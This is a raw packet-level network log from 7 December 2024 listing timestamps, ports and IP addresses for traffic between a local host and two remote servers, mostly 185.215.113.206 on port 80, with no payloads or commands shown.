Dec 7, 2024 15:06:17.368844032 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.368911028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.368911982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.368957996 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.369746923 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.369796991 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.369910002 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.370699883 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.370754957 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.370831966 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.370877028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.371611118 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.371661901 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.371731043 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.371778965 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.372500896 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.372611046 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.372667074 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.373425007 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.373481989 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.373543978 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.373591900 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.374347925 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.374422073 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.374455929 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.374497890 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.377461910 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.377538919 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.380122900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.382349014 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.385862112 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.412887096 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.412942886 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.430746078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.430915117 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.430969954 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.431219101 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.431349039 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.431406021 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.431459904 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.432117939 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.432245970 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.432292938 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.433051109 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.433099985 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.433155060 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.433203936 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.433969021 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.434015989 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.434075117 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.434120893 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.434884071 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.434932947 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.435013056 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.435064077 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.435817003 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.435910940 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.435957909 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.436741114 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.436790943 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.436841011 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.436908960 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.437640905 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.437693119 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.437757969 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.437805891 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.438585997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.438635111 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.438709974 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.438760042 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.439542055 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.439594030 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.439640045 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.439687014 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.440499067 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.440547943 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.440589905 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.440639019 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.441359997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.441411972 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.441459894 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.441510916 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.442300081 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.442348957 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.442393064 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.442446947 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.443187952 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.443238020 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.443283081 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.443335056 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.444113970 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.444263935 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.444318056 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.445025921 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.445075989 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.445158958 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.445208073 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.446101904 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.446154118 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.446198940 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.446248055 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.446858883 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.446907043 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.446963072 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.447010994 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.447787046 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.447926044 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.447973967 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.448705912 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.448755026 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.448803902 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.448852062 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.449650049 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.449698925 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.449740887 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.449790955 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.450512886 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.450561047 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.450624943 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.450671911 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.451457977 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.451508045 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.451554060 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.451646090 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.452377081 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.452429056 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.452480078 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.453387022 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.453435898 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.453480005 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.453526974 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.454202890 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.454248905 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.454307079 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.454355001 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.455188036 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.455235958 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.455260992 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.455308914 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.456043959 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.456163883 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.456209898 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.456964970 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.457014084 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.457104921 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.457159042 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.457914114 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.457963943 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.458017111 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.458065033 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.458820105 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.458868027 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.458962917 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.459009886 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.459742069 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.459829092 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.459877014 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.460680962 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.460730076 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.460839987 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.460889101 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.461582899 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.461630106 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.461699009 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.461745977 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.462507963 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.462553024 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.462649107 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.462697983 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.463413954 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.463462114 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.490178108 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.490251064 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.490339994 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.490358114 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.490585089 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.490624905 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.490632057 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.490667105 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.491534948 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.491591930 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.491596937 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.491646051 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.492432117 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.492481947 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.492574930 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.492623091 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.493350029 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.493398905 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.493442059 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.493491888 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.494287968 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.494338989 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.494378090 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.494435072 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.495186090 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.495234013 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.495275021 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.495336056 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.653886080 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.653992891 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.657413006 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.657465935 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.657636881 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.657701015 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.718166113 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.761801958 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.761889935 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.773854017 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.774017096 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.777133942 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.777188063 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.777307034 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.777358055 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882163048 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882179976 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882190943 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882204056 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882215023 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882226944 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882237911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882242918 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882251024 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882270098 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882280111 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882283926 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882294893 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882296085 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882309914 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882322073 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882327080 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882354975 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882460117 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.882510900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.882517099 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.882529020 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.882550001 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882556915 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.882569075 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882580996 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882592916 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882594109 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882605076 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882610083 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882617950 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882622004 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882632017 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882638931 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882644892 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882658005 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.882677078 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882684946 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.882711887 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.883300066 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883321047 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883342028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.883356094 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.883389950 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883410931 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883434057 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883445024 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883445978 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.883457899 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883471012 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883476973 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.883483887 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883497953 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883501053 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.883510113 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883522034 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.883524895 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.883543015 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.883567095 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884272099 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884284973 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884294987 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884306908 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884347916 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884360075 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884533882 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884547949 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884557962 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884578943 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884619951 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884629965 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884661913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884670019 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884674072 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884687901 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884700060 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884710073 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884713888 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884727001 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884736061 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884740114 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884754896 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.884766102 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884789944 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.884803057 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.885534048 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885546923 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885557890 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885571003 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885574102 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.885582924 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885592937 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.885620117 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885626078 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.885633945 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885644913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885658026 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885660887 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.885670900 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885683060 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885690928 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.885695934 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.885720968 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.885734081 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.886441946 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886462927 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886481047 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886492968 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886503935 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.886504889 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886559963 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.886596918 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886610031 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886622906 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886635065 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886646032 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886655092 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.886658907 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886671066 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886673927 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.886683941 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.886693001 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.886714935 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.886735916 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887236118 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.887382984 CET	80	49706	185.215.113.206	192.168.2.8
